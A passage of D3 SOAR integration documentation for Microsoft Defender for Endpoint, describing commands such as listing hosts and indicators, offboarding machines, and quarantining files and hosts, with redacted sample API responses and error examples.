            "osBuild": *****,
            "healthStatus": "Active",
            "deviceValue": "Normal",
            "rbacGroupId": ***,
            "rbacGroupName": null,
            "riskScore": "None",
            "exposureLevel": "Medium",
            "isAadJoined": true,
            "aadDeviceId": null,
            "machineTags": [],
            "defenderAvStatus": "Updated",
            "onboardingStatus": "Onboarded",
            "ipAddresses": [
{
                    "ipAddress": "***.***.***.***",
                    "macAddress": "*****",
                    "type": "Ethernet",
                    "operationalStatus": "Down"
                },
                {
                    "ipAddress": "****::****:****:****:****",
                    "macAddress": "*****",
                    "type": "Ethernet",
                    "operationalStatus": "Down"
                },
                {
                    "ipAddress": "***.***.***.***",
                    "macAddress": "*****",
                    "type": "Ethernet",
                    "operationalStatus": "Down"
                },
            ],
            "vmMetadata": null
        },
    ]
}
Context Data

The data extracted from Raw Data converted into JSON format. Context Data may be identical to Raw Data in some cases.

D3 customizes the Context Data by extracting the data from path $.value in API returned JSON.

It is recommended to refer to the Raw Data instead of Context Data, since it contains the complete API response data. D3 will deprecate Context Data in the future, and playbook tasks using Context Data will be replaced with Raw Data.

SAMPLE DATA

CODE
[
    {
        "id": "*****",
        "computerDnsName": "***.***.***",
        "firstSeen": "2020-11-30T08:06:22.7101753Z",
        "lastSeen": "2021-04-09T22:16:58.8866737Z",
        "osPlatform": "Windows10",
        "osVersion": null,
        "osProcessor": "***",
        "version": "*****",
        "lastIpAddress": "***.***.***.***",
        "lastExternalIpAddress": "***.***.***.***",
        "agentVersion": "***.***.***.***",
        "osBuild": *****,
        "healthStatus": "Active",
        "deviceValue": "Normal",
        "rbacGroupId": *****,
        "rbacGroupName": null,
        "riskScore": "High",
        "exposureLevel": "Medium",
        "isAadJoined": false,
        "aadDeviceId": null,
        "machineTags": [],
        "defenderAvStatus": "Updated",
        "onboardingStatus": "Onboarded",
        "ipAddresses": [
            {
                "ipAddress": "***.***.***.***",
                "macAddress": "*****",
                "type": "Ethernet",
                "operationalStatus": "Up"
            },
            {
                "ipAddress": "****::****:****:****:****",
                "macAddress": "*****",
                "type": "Ethernet",
                "operationalStatus": "Up"
            },
            {
                "ipAddress": "***.***.***.***",
                "macAddress": "*****",
                "type": "Ethernet",
                "operationalStatus": "Up"
            }
        ],
        "vmMetadata": null
    },
    {
        "id": "*****",
        "computerDnsName": "d3-cyber",
        "firstSeen": "2020-12-01T01:38:19.2801165Z",
        "lastSeen": "2021-04-09T22:15:08.6575271Z",
        "osPlatform": "Windows10",
        "osVersion": *****,
        "osProcessor": "***",
        "version": "*****",
        "lastIpAddress": "***.***.***.***",
        "lastExternalIpAddress": "***.***.***.***",
        "agentVersion": "***.***.***.***",
        "osBuild": *****,
        "healthStatus": "Active",
        "deviceValue": "Normal",
        "rbacGroupId": 0,
        "rbacGroupName": null,
        "riskScore": "None",
        "exposureLevel": "Medium",
        "isAadJoined": true,
        "aadDeviceId": null,
        "machineTags": [],
        "defenderAvStatus": "Updated",
        "onboardingStatus": "Onboarded",
        "ipAddresses": [
{
                "ipAddress": "***.***.***.***",
                "macAddress": "*****",
                "type": "Ethernet",
                "operationalStatus": "Down"
            },
            {
                "ipAddress": "****::****:****:****:****",
                "macAddress": "*****",
                "type": "Ethernet",
                "operationalStatus": "Down"
            },
            {
                "ipAddress": "***.***.***.***",
                "macAddress": "*****",
                "type": "Ethernet",
                "operationalStatus": "Down"
            }
        ],
        "vmMetadata": null
    }
]
Key Fields

Common cyber security indicators such as unique IDs, file hash values, CVE numbers, IP addresses, etc., will be extracted from Raw Data as Key Fields.
The system stores these key fields in the path $.[playbookTask].outputData. You can use these key-value pairs as data points for playbook task inputs.

SAMPLE DATA

CODE
{
    "IDs": [
        "*****",
        "*****",
        "*****"
    ]
}
Return Data

Indicates one of the possible command execution states: Successful or Failed.

The Failed state can be triggered by any of the following errors:

  • A connection issue with the integration

  • The API returned an error message

  • No response from the API

You can view more details about an error in the Error tab.

Return Data can be passed down directly to a subsequent command or used to create conditional tasks in playbooks.

SAMPLE DATA

CODE
Successful
Result

Provides a brief summary of outputs in an HTML formatted table.

SAMPLE DATA

ID

***

***

***

COMPUTERDNSNAME

***.***

***

***-***-***

FIRSTSEEN

11/30/2020 8:06:22 AM

12/1/2020 1:38:19 AM

8/10/2020 2:15:12 AM

LASTSEEN

4/9/2021 10:16:58 PM

4/9/2021 10:15:08 PM

1/18/2021 11:10:35 PM

OSPLATFORM

Windows10

Windows10

WindowsServer2019

OSVERSION

OSPROCESSOR

x64

***

***

VERSION

1909

***

***

LASTIPADDRESS

***.***.***.***

***.***.***.***

***.***.***.***

LASTEXTERNALIPADDRESS

***.***.***.***

***.***.***.***

***.***.***.***

AGENTVERSION

***.***.***.***

***.***.***.***

***.***.***.***

OSBUILD

***

***

17763

HEALTHSTATUS

Active

Active

Inactive

DEVICEVALUE

Normal

Normal

Normal

RBACGROUPID

0

0

0

RBACGROUPNAME

RISKSCORE

High

None

Low

EXPOSURELEVEL

Medium

Medium

None

ISAADJOINED

FALSE

TRUE

FALSE

AADDEVICEID

MACHINETAGS

[]

[]

[]

DEFENDERAVSTATUS

Updated

Updated

NotSupported

ONBOARDINGSTATUS

Onboarded

Onboarded

Onboarded

IPADDRESSES

[
{
"ipAddress": "***.***.***.***",
"macAddress": "***",
"type": "Ethernet",
"operationalStatus": "Up"
},
{
"ipAddress": "***.***.***.***",
"macAddress": "***",
"type": "Ethernet",
"operationalStatus": "Up"
},
{
"ipAddress": "***.***.***.***",
"macAddress": "***",
"type": "Ethernet",
"operationalStatus": "Up"
},
{
"ipAddress": ":::::",
"macAddress": "***",
"type": "Ethernet",
"operationalStatus": "Up"
}
]

[
{
"ipAddress": "***.***.***.***",
"macAddress": "***",
"type": "Ethernet",
"operationalStatus": "Down"
},
{
"ipAddress": "****::****:***:****",
"macAddress": "***",
"type": "Ethernet",
"operationalStatus": "Down"
},
{
"ipAddress": "***.***.***.***",
"macAddress": "***",
"type": "Ethernet",
"operationalStatus": "Down"
},
{
"ipAddress": "***.***.***.***",
"macAddress": "***",
"type": "Ethernet",
"operationalStatus": "Down"
},
{
"ipAddress": "****::****:***:****",
"macAddress": "***",
"type": "Ethernet",
"operationalStatus": "Down"
},
{
"ipAddress": "***.***.***.***",
"macAddress": "***",
"type": "Ethernet",
"operationalStatus": "Down"
},
{
"ipAddress": "****::****:***:****",
"macAddress": "***",
"type": "Ethernet",
"operationalStatus": "Down"
},
{
"ipAddress": "****::****:***:****",
"macAddress": "***",
"type": "IEEE80211",
"operationalStatus": "Up"
},
{
"ipAddress": "****::****:***:****",
"macAddress": "***",
"type": "IEEE80211",
"operationalStatus": "Up"
},
{
"ipAddress": "***.***.***.***",
"macAddress": "***",
"type": "Ethernet",
"operationalStatus": "Down"
},
{
"ipAddress": "****::****:***:****",
"macAddress": "***",
"type": "Ethernet",
"operationalStatus": "Down"
},
{
"ipAddress": "***.***.***.***",
"macAddress": "***",
"type": "Ethernet",
"operationalStatus": "Down"
},
{
"ipAddress": "****::****:***:****",
"macAddress": "***",
"type": "Ethernet",
"operationalStatus": "Down"
}
]

[
{
"ipAddress": "***.***.***.***",
"macAddress": "***",
"type": "Ethernet",
"operationalStatus": "Up"
},
{
"ipAddress": "***::****:***:****",
"macAddress": "***",
"type": "Ethernet",
"operationalStatus": "Up"
}
]

VMMETADATA

Error Handling

If the Return Data is Failed, an Error tab will appear in the Test Result window.

The error tab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help you locate the root cause of a command failure.

Parts in Error

Description

Example

Failure Indicator

Indicates the command failure that happened at a specific input and/or API call.

List Hosts failed.

Status Code

The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Microsoft Defender for Endpoint portal. Refer to the Microsoft Endpoint Common REST API Error Codes for details.

Status Code: 401.

Message

The raw data or captured key error message from the integration API server about the API request failure.

Message: The application does not have any of the required application permissions (Machine.Read.All, Machine.ReadWrite.All) to access the resource.

Error Sample Data

List Hosts failed.

Status Code: 401.

Message: The application does not have any of the required application permissions (Machine.Read.All, Machine.ReadWrite.All) to access the resource.

List Indicator

Retrieves a collection of all active Indicators.

READER NOTE

  • Limitations for this command:

    • The rate limitations for this API are 100 calls per minute and 1500 calls per hour.

  • See List Indicators API | Microsoft Learn from Microsoft’s documentation for more details.

Input

N/A

Output

Raw Data

The primary response data from the API request.

SAMPLE DATA

JSON
{
    "@odata.context": "https://api.securitycenter.microsoft.com/api/***",
    "value": [
        {
            "id": "*****",
            "indicatorValue": "d3security2.com",
            "indicatorType": "DomainName",
            "action": "AlertAndBlock",
            "createdBy": "*****",
            "severity": "Informational",
            "category": 1,
            "application": "demo-test",
            "educateUrl": null,
            "bypassDurationHours": null,
            "title": "test",
            "description": "test",
            "recommendedActions": "nothing",
            "creationTimeDateTimeUtc": "2021-04-14T00:14:04.9987222Z",
            "expirationTime": "2022-12-12T00:00:00Z",
            "lastUpdateTime": "2021-04-14T00:14:05.0253827Z",
            "lastUpdatedBy": null,
            "rbacGroupNames": [],
            "rbacGroupIds": [],
            "notificationId": null,
            "notificationBody": null,
            "version": null,
            "mitreTechniques": [],
            "historicalDetection": false,
            "lookBackPeriod": null,
            "generateAlert": true,
            "additionalInfo": null,
            "createdByDisplayName": "*****",
            "externalId": null,
            "createdBySource": "PublicApi",
            "certificateInfo": null
        }
    ]
}
Context Data

The data extracted from Raw Data converted into JSON format. Context Data may be identical to Raw Data in some cases.

D3 customizes the Context Data by extracting the data from path $.value in API returned JSON.

It is recommended to refer to the Raw Data instead of Context Data, since it contains the complete API response data. D3 will deprecate Context Data in the future, and playbook tasks using Context Data will be replaced with Raw Data.

SAMPLE DATA

CODE
[
    {
        "id": "*****",
        "indicatorValue": "d3security2.com",
        "indicatorType": "DomainName",
        "action": "AlertAndBlock",
        "createdBy": "*****",
        "severity": "Informational",
        "category": 1,
        "application": "demo-test",
        "educateUrl": null,
        "bypassDurationHours": null,
        "title": "test",
        "description": "test",
        "recommendedActions": "nothing",
        "creationTimeDateTimeUtc": "2021-04-14T00:14:04.9987222Z",
        "expirationTime": "2022-12-12T00:00:00Z",
        "lastUpdateTime": "2021-04-14T00:14:05.0253827Z",
        "lastUpdatedBy": null,
        "rbacGroupNames": [],
        "rbacGroupIds": [],
        "notificationId": null,
        "notificationBody": null,
        "version": null,
        "mitreTechniques": [],
        "historicalDetection": false,
        "lookBackPeriod": null,
        "generateAlert": true,
        "additionalInfo": null,
        "createdByDisplayName": "*****",
        "externalId": null,
        "createdBySource": "PublicApi",
        "certificateInfo": null
    }
]
Key Fields

Common cyber security indicators such as unique IDs, file hash values, CVE numbers, IP addresses, etc., will be extracted from Raw Data as Key Fields.
The system stores these key fields in the path $.[playbookTask].outputData. You can use these key-value pairs as data points for playbook task inputs.

SAMPLE DATA

CODE
{
    "IDs": [
        "***"
    ]
}
Return Data

Indicates one of the possible command execution states: Successful or Failed.
The Failed state can be triggered by any of the following errors:

  • A connection issue with the integration

  • The API returned an error message

  • No response from the API

You can view more details about an error in the Error tab.
Return Data can be passed down directly to a subsequent command or used to create conditional tasks in playbooks.

SAMPLE DATA

CODE
Successful
Result

Provides a brief summary of outputs in an HTML formatted table.

SAMPLE DATA

ID

***

INDICATORVALUE

d3security2.com

INDICATORTYPE

DomainName

ACTION

AlertAndBlock

CREATEDBY

***

SEVERITY

Informational

CATEGORY

1

APPLICATION

demo-test

EDUCATEURL

BYPASSDURATIONHOURS

TITLE

test

DESCRIPTION

test

RECOMMENDEDACTIONS

nothing

CREATIONTIMEDATETIMEUTC

4/14/2021 12:14:04 AM

EXPIRATIONTIME

12/12/2022 12:00:00 AM

LASTUPDATETIME

4/14/2021 12:14:05 AM

LASTUPDATEDBY

RBACGROUPNAMES

[]

RBACGROUPIDS

[]

NOTIFICATIONID

NOTIFICATIONBODY

VERSION

MITRETECHNIQUES

[]

HISTORICALDETECTION

FALSE

LOOKBACKPERIOD

GENERATEALERT

TRUE

ADDITIONALINFO

CREATEDBYDISPLAYNAME

d3cyebr

EXTERNALID

CREATEDBYSOURCE

PublicApi

CERTIFICATEINFO

Error Handling

If the Return Data is Failed, an Error tab will appear in the Test Result window.

The error tab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help you locate the root cause of a command failure.

Parts in Error

Description

Example

Failure Indicator

Indicates the command failure that happened at a specific input and/or API call.

List Indicator failed.

Status Code

The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Microsoft Defender for Endpoint portal. Refer to the Microsoft Endpoint Common REST API Error Codes for details.

Status Code: 401.

Message

The raw data or captured key error message from the integration API server about the API request failure.

Message: The application does not have any of the required application permissions (Ti.ReadWrite, Ti.ReadWrite.All) to access the resource.

Error Sample Data

List Indicator failed.

Status Code: 401.

Message: The application does not have any of the required application permissions (Ti.ReadWrite, Ti.ReadWrite.All) to access the resource.

List Live Response Library Files

Retrieves live response library files. Please note, this command applies to Microsoft Defender for Endpoint.

READER NOTE

  • Limitations for this command:

    • The rate limitations for this API are 100 calls per minute and 1500 calls per hour.

See List library files - Microsoft Defender for Endpoint | Microsoft Learn from Microsoft’s documentation for more details.

Input

N/A 

Output

Return Data

Indicates one of the possible command execution states: Successful or Failed.

The Failed state can be triggered by any of the following errors:

  • A connection issue with the integration

  • The API returned an error message

  • No response from the API

You can view more details about an error in the Error tab.

Return Data can be passed down directly to a subsequent command or used to create conditional tasks in playbooks.

SAMPLE DATA

CODE
Successful
Raw Data

The primary response data from the API request.

SAMPLE DATA

JSON
{
    "@odata.context": "https://api.securitycenter.microsoft.com/api/*****",
    "value": [
        {
            "fileName": "test4.ps1",
            "sha256": "*****",
            "description": "test description 0926b",
            "creationTime": "2023-09-26T20:49:48.311131Z",
            "lastUpdatedTime": "2023-09-26T20:49:48.311131Z",
            "createdBy": "*****",
            "hasParameters": true,
            "parametersDescription": "test"
        }
    ]
}
Key Fields

Common cyber security indicators such as unique IDs, file hash values, CVE numbers, IP addresses, etc., will be extracted from Raw Data as Key Fields.

The system stores these key fields in the path $.[playbookTask].outputData. You can use these key-value pairs as data points for playbook task inputs.

SAMPLE DATA

CODE
{
  "FileNames": ["test4.ps1"],
  "Descriptions": [ "test description 0926b" ]
}
Result

Provides a brief summary of outputs in an HTML formatted table.

SAMPLE DATA

@odata.context

https://api.securitycenter.microsoft.com/api/*****

value

  • {'fileName': 'test4.ps1', 'sha256': '*****', 'description': 'test description 0926b', 'creationTime': '2023-09-26T20:49:48.311131Z', 'lastUpdatedTime': '2023-09-26T20:49:48.311131Z', 'createdBy': '*****', 'hasParameters': True, 'parametersDescription': 'test'}

Error Handling

If the Return Data is Failed, an Error tab will appear in the Test Result window.

The error tab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help you locate the root cause of a command failure.

Parts in Error

Description

Example

Failure Indicator

Indicates the command failure that happened at a specific input and/or API call.

List Live Response Library Files failed.

Status Code

The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Microsoft Defender for Endpoint portal. Refer to the Microsoft Endpoint Common REST API Error Codes for details.

Status Code: 400.

Message

The raw data or captured key error message from the integration API server about the API request failure.

Message: Failed to get Access Token.

Error Sample Data

List Live Response Library Files failed.

Status Code: 400.

Message: Failed to get Access Token.

List Machine Actions

Returns a collection of Machine Actions based on the specified criteria. The rate limitations for this command are 100 calls per minute and 1500 calls per hour.

READER NOTE

  • Machine Action IDs and Machine IDs are optional parameters to run this command.

    • Run the List Host Actions command to obtain Machine Action IDs. Machine Action IDs can be found in the raw data at the path $.value.[*].id

    • Run the List Hosts or List Host Actions or List Host Actions command to obtain Machine IDs. For both the List Hosts and Get Host By IP command, Machine IDs can be found in the raw data at the path $.value[*].id. For List Host Actions command, Machine IDs can be found in the raw data at the path $.value[*].machineId.

    • Your input Machine ID and Machine Action ID must match in order to run this command. If the input values do not match, the command will run successfully with no result returned.

    • If you input multiple Machine Action IDs and Machine IDs, only the matching pairs (i.e., a Machine ID and a Machine Action ID exist under the same JSON object in the returned raw data of the List Host Actions command) will be returned. For example, if multiple input Machine Action IDs correspond to one Machine ID, all of those successfully matched pairs will be returned. It is possible to have multiple Machine Action ID inputs but only one input Machine ID.

  • Limitations for this command:

    • Maximum page size is 10,000.

    • The rate limitations for this API are 100 calls per minute and 1500 calls per hour.

  • See List machineActions API | Microsoft Learn from Microsoft’s documentation for more details.

  • If no input parameters are defined, all machine actions will be returned. You can use this command to retrieve Action IDs and Device IDs. The returned “id” key contains Machine Action IDs and the “machineId” key contains Machine IDs.

Input

Input Parameter

Required /Optional

Description

Example

Machine Action IDs

Optional

The IDs of the machine actions to filter results. Machine Action IDs can be obtained using List Host Actions command.

["*****"]

Machine IDs

Optional

The ID(s) of the machine(s) to list corresponding machine actions. Machine IDs can be obtained using the List Hosts or Get Host By IP or List Host Actions command.

["*****"]

Create Time

Optional

The creation time of the machine actions to filter results. The input is in UTC time.

2022-10-07 00:00

Time Operator

Optional

The operator for the defined Create Time to filter results. The available time operators are Greater Than, Greater Than Equal, Less Than, Less Than Equal.

Less Than

Types

Optional

The list of Machine Action types to filter results. The valid values are RunAntiVirusScan, Offboard, Live Response, CollectInvestigationPackage, Isolate, Unisolate, StopAndQuarantineFile, RestrictCodeExecution, and UnrestrictCodeExecution.

["Isolate"]

Requestors

Optional

The list of Machine Action requesters to filter results.

["***@example.com"]

Status

Optional

The list of Machine Action statuses to filter results. The valid values are Pending, InProgress, Succeeded, Failed, TimeOut, and Cancelled.

["InProgress", "Succeeded"]

Limit

Optional

The maximum number of records (up to 100) to return. The default value is 20.

3

Offset

Optional

The offset value to paginate the returned records.

0

Output

Raw Data

The primary response data from the API request.

SAMPLE DATA

JSON
{
    "@odata.context": "https://api.securitycenter.microsoft.com/api/***",
    "value": [
        {
            "id": "*****",
            "type": "Isolate",
            "title": null,
            "requestor": "***@example.com",
            "requestorComment": "Test",
            "status": "Succeeded",
            "machineId": "*****",
            "computerDnsName": "desktop-31lce0r",
            "creationDateTimeUtc": "2022-05-03T22:04:14.7987522Z",
            "lastUpdateDateTimeUtc": "2022-05-03T22:04:38.4447952Z",
            "cancellationRequestor": null,
            "cancellationComment": null,
            "cancellationDateTimeUtc": null,
            "errorHResult": 0,
            "scope": "Full",
            "externalId": *****,
            "requestSource": "Portal",
            "relatedFileInfo": null,
            "commands": [],
            "troubleshootInfo": null
        }
    ]
}
Return Data

Indicates one of the possible command execution states: Successful or Failed.
The Failed state can be triggered by any of the following errors:

  • A connection issue with the integration

  • The API returned an error message

  • No response from the API

You can view more details about an error in the Error tab.
Return Data can be passed down directly to a subsequent command or used to create conditional tasks in playbooks.

SAMPLE DATA

CODE
Successful
Result

Provides a brief summary of outputs in an HTML formatted table.

SAMPLE DATA

ID

TYPE

TITLE

REQUESTOR

REQUESTORCOMMENT

STATUS

MACHINEID

COMPUTERDNSNAME

CREATIONDATETIMEUTC

LASTUPDATEDATETIMEUTC

CANCELLATIONREQUESTOR

CANCELLATIONCOMMENT

CANCELLATIONDATETIMEUTC

ERRORHRESULT

SCOPE

EXTERNALID

REQUESTSOURCE

RELATEDFILEINFO

COMMANDS

TROUBLESHOOTINFO

***

Isolate

None

***@example.com

Test

Succeeded

***

***

2022-05-03T22:04:14.7987522Z

2022-05-03T22:04:38.4447952Z

None

None

None

0

Full

None

Portal

None

[]

None

Error Handling

If the Return Data is Failed, an Error tab will appear in the Test Result window.

The error tab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help you locate the root cause of a command failure.

Parts in Error

Description

Example

Failure Indicator

Indicates the command failure that happened at a specific input and/or API call.

List Machine Actions failed.

Status Code

The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Microsoft Defender for Endpoint portal. Refer to the Microsoft Endpoint Common REST API Error Codes for details.

Status Code: 401.

Message

The raw data or captured key error message from the integration API server about the API request failure.

Message: The application does not have any of the required application permissions (Machine.Read.All, Machine.ReadWrite.All) to access the resource.

Error Sample Data

List Machine Actions failed.

Status Code: 401.

Message: The application does not have any of the required application permissions (Machine.Read.All, Machine.ReadWrite.All) to access the resource.

Offboard Machines

Offboard specified device(s) from Defender for Endpoint. This command has a rate limitation of 100 calls per minute and 1500 calls per hour. Also, the API endpoint used for the command is only supported on Windows 11, Windows 10, version 1703 and later; on Windows Server 2019 and later; and on Windows Server 2012 R2 and Windows Server 2016 when using the new, unified agent for Defender for Endpoint. macOS or Linux devices are not supported.

Note: This API is supported on Windows 11, Windows 10, version 1703 and later; on Windows Server 2019 and later; and on Windows Server 2012 R2 and Windows Server 2016 when using the new, unified agent for Defender for Endpoint.

This API is not supported on macOS or Linux devices.

Running the offboarding API only stops the sensor service from running, but it does not remove the onboarding information from the registry like an offboarding script does.

  • The parameter Machine IDs is required to run this command.

    • Run the List Hosts command to obtain Machine IDs. Machine IDs can be found in the raw data at the path $.value[*].id.

  • Limitations for this command:

    • The rate limitations for this API are 100 calls per minute and 1500 calls per hour.

See Offboard machine API - Microsoft Defender for Endpoint | Microsoft Learn from Microsoft’s documentation for more details.

Input

Input Parameter

Required/Optional

Description

Example

Machine IDs

Required

The ID(s) of the machine(s) to offboard. Machine IDs can be obtained using the List Hosts command. 

[ "*****" ]

Comment

Required

The comment associated with the offboard action.

Offboard machine by vsoc

Output

Return Data

Indicates one of the possible command execution states: Successful, Partially Successful, or Failed.

The Partially Successful state only occurs when a command’s input accepts an array of items (e.g. an array of IP addresses) and one or more items within the array return an error from the API request.

The Failed state can be triggered by any of the following errors:

  • A connection issue with the integration

  • The API returned an error message

  • No response from the API

You can view more details about an error in the Error tab.

Return Data can be passed down directly to a subsequent command or used to create conditional tasks in playbooks.

SAMPLE DATA

CODE
Successful
Raw Data

The primary response data from the API request.

SAMPLE DATA

JSON
{
    "Results": [
        {
            "@odata.context": "https://api.securitycenter.microsoft.com/api/*****",
            "id": "*****",
            "type": "Offboard",
            "title": null,
            "requestor": "d3devcyber",
            "requestorComment": "Offboard machine by vsoc",
            "status": "Pending",
            "machineId": "*****",
            "computerDnsName": "d3soar",
            "creationDateTimeUtc": "2024-02-24T01:42:15.0669222Z",
            "lastUpdateDateTimeUtc": "2024-02-24T01:42:15.0669227Z",
            "cancellationRequestor": null,
            "cancellationComment": null,
            "cancellationDateTimeUtc": null,
            "errorHResult": 0,
            "scope": null,
            "externalId": null,
            "requestSource": "PublicApi",
            "relatedFileInfo": null,
            "commands": [],
            "troubleshootInfo": null
        }
    ]
}
Key Fields

Common cyber security indicators such as unique IDs, file hash values, CVE numbers, IP addresses, etc., will be extracted from Raw Data as Key Fields.

The system stores these key fields in the path $.[playbookTask].outputData. You can use these key-value pairs as data points for playbook task inputs.

SAMPLE DATA

CODE
{
  "MachineIDs": ["*****"],
  "ComputerNames": ["d3soar"] 
}
Result

Provides a brief summary of outputs in an HTML formatted table.

SAMPLE DATA

Offboarded Machines Count

1

Error Handling

If the Return Data is Partially Successful or Failed, an Error tab will appear in the Test Result window.

The error tab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help you locate the root cause of a command failure.

Parts in Error

Description

Example

Failure Indicator

Indicates the command failure that happened at a specific input and/or API call.

Offboard Machines failed.

Status Code

The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Microsoft Defender for Endpoint portal. Refer to the Microsoft Endpoint Common REST API Error Codes for details.

Status Code: 404.

Message

The raw data or captured key error message from the integration API server about the API request failure.

Message: Machine invalidTestMachine was not found.

Error Sample Data

Offboard Machines failed.

Status Code: 404.

Message: Machine invalidTestMachine was not found.

Quarantine Files

Quarantine files based on the specified machine ID and SHA-1 files hashes.

READER NOTE

  • Machine ID is a required parameter to run this command.

    • Run the List Hosts or Get Host By IP command to obtain Machine IDs. For both the List Hosts and Get Host By IP command, Machine IDs can be found in the raw data at the path $.value[*].id.

    • Ensure the file to quarantine exists on your input machine and the file is not trusted.

  • Limitations for this command:

    • The rate limitations for this API are 100 calls per minute and 1500 calls per hour.

  • See Stop and quarantine file API | Microsoft Learn from Microsoft’s documentation for more details.

  • You can only take this action if:

    • The device you're taking the action on is running Windows 10 (version 1703 or later) or Windows 11.

    • The file does not belong to a trusted third-party publisher nor signed by Microsoft.

    • Microsoft Defender Antivirus must at least be running on Passive mode.

Input

Input Parameter

Required /Optional

Description

Example

Machine ID

Required

The ID of the machine that the file(s) to quarantine is located on. Machine ID can be obtained using List Hosts or Get Host By IP command.

*****

Comment

Required

A comment associated with the quarantine action.

Stop and quarantine file on machine due to alert ***_***

Hash Values

Required

The SHA-1 file hash value(s) of the file(s) to stop and quarantine on the device.

["*****"]

Output

Raw Data

The primary response data from the API request.

SAMPLE DATA

JSON
[
    {
        "@odata.context": "https://api.securitycenter.microsoft.com/api/***",
        "id": "*****",
        "type": "StopAndQuarantineFile",
        "title": null,
        "requestor": "*****",
        "requestorComment": "Stop and quarantine file on machine due to alert 441688558380765161_2136280442",
        "status": "Pending",
        "machineId": "*****",
        "computerDnsName": "***.***.***",
        "creationDateTimeUtc": "2021-04-14T23:54:58.760165Z",
        "lastUpdateDateTimeUtc": "2021-04-14T23:54:58.760165Z",
        "cancellationRequestor": null,
        "cancellationComment": null,
        "cancellationDateTimeUtc": null,
        "errorHResult": 0,
        "scope": null,
        "externalId": *****,
        "requestSource": "PublicApi",
        "relatedFileInfo": {
            "fileIdentifier": "*****",
            "fileIdentifierType": "Sha1"
        },
        "commands": []
    }
]
Context Data

The data extracted from Raw Data converted into JSON format. Context Data may be identical to Raw Data in some cases.

D3 customizes the Context Data by extracting the data from path $.[*].machineId, $.[*].fileIdentifier and rename it to Sha1, $.[*].status, and put them in a new JSON Array.

It is recommended to refer to the Raw Data instead of Context Data, since it contains the complete API response data. D3 will deprecate Context Data in the future, and playbook tasks using Context Data will be replaced with Raw Data.

SAMPLE DATA

CODE
[
    {
        "machineid": "*****",
        "Sha1": "*****",
        "status": "Pending"
    }
]
Key Fields

Common cyber security indicators such as unique IDs, file hash values, CVE numbers, IP addresses, etc., will be extracted from Raw Data as Key Fields.
The system stores these key fields in the path $.[playbookTask].outputData. You can use these key-value pairs as data points for playbook task inputs.

SAMPLE DATA

CODE
{
    "Sha1s": [
        "*****"
    ]
}
Return Data

Indicates one of the possible command execution states: Successful, Partially Successful, or Failed.
The Partially Successful state only occurs when a command’s input accepts an array of items (e.g. an array of IP addresses) and one or more items within the array return an error from the API request.
The Failed state can be triggered by any of the following errors:

  • A connection issue with the integration

  • The API returned an error message

  • No response from the API

You can view more details about an error in the Error tab.
Return Data can be passed down directly to a subsequent command or used to create conditional tasks in playbooks.

SAMPLE DATA

CODE
Successful
Result

Provides a brief summary of outputs in an HTML formatted table.

SAMPLE DATA

MACHINEID

SHA1

STATUS

*****

*****

Pending

Error Handling

If the Return Data is Partially Successful or Failed, an Error tab will appear in the Test Result window.

The error tab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help you locate the root cause of a command failure.

Parts in Error

Description

Example

Failure Indicator

Indicates the command failure that happened at a specific input and/or API call.

Quarantine Files failed.

Status Code

The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Microsoft Defender for Endpoint portal. Refer to the Microsoft Endpoint Common REST API Error Codes for details.

Status Code: 401.

Message

The raw data or captured key error message from the integration API server about the API request failure.

Message: The application does not have any of the required application permissions (Machine.StopAndQuarantine) to access the resource.

Error Sample Data

Quarantine Files failed.

Status Code: 401.

Message: The application does not have any of the required application permissions (Machine.StopAndQuarantine) to access the resource.

Quarantine Hosts

Isolates specified devices from accessing the external network.

READER NOTE

  • The parameter Hosts is required to run this command.

    • Run the List Hosts command to obtain Hosts. Hosts can be found in the raw data at the path $.value[*].id.

  • Limitations for this command:

    • The rate limitations for this API are 100 calls per minute and 1500 calls per hour.

  • See Isolate machine API | Microsoft Learn from Microsoft’s documentation for more details.

  • The IsolationType parameter defines one of the following the type of isolation to perform:

    • Full: Full isolation

    • Selective: Restricts only limited set of applications from accessing the network (see Isolate devices from the network from Microsoft’s documentation for more details)

Alert

  • Full isolation is available for devices running on Windows 10(version 1703), and Windows 11.

  • Selective isolation is available for devices on Windows 10 (version 1709 or later), and Windows 11.

  • When isolating a device, only certain processes and destinations are allowed. Devices that are behind a full VPN tunnel will not be able to reach the Microsoft Defender for Endpoint and Microsoft Defender Antivirus cloud-based protection-related traffic.

Warning

You cannot isolate a device that is already isolated. Otherwise, an error will be returned.

The quarantine process may take some time. If the status is pending, the device is still in the isolation process. If you run the Unquarantined Host command during this process, an error will return. To check the status of the quarantine process, navigate to the device Action Center on the Microsoft Defender for Endpoint platform. Note: You cannot isolate a device that has already been isolated. If you do so, an error will return.

Input

Input Parameter

Required /Optional

Description

Example

Hosts

Required

The machine IDs of the hosts to quarantine. Hosts can be obtained using the List Hosts command.

[“*****“,”*****]

Comment

Required

A comment associated with the action.

Isolate machine due to alert

IsolationType

Optional

The isolation type (i.e., Full or Selective) to apply. The default value is Full.

Full

Output

Return Data

Indicates one of the possible command execution states: Successful, Partially Successful, or Failed.

The Partially Successful state only occurs when a command’s input accepts an array of items (e.g. an array of IP addresses) and one or more items within the array return an error from the API request.

The Failed state can be triggered by any of the following errors:

  • A connection issue with the integration

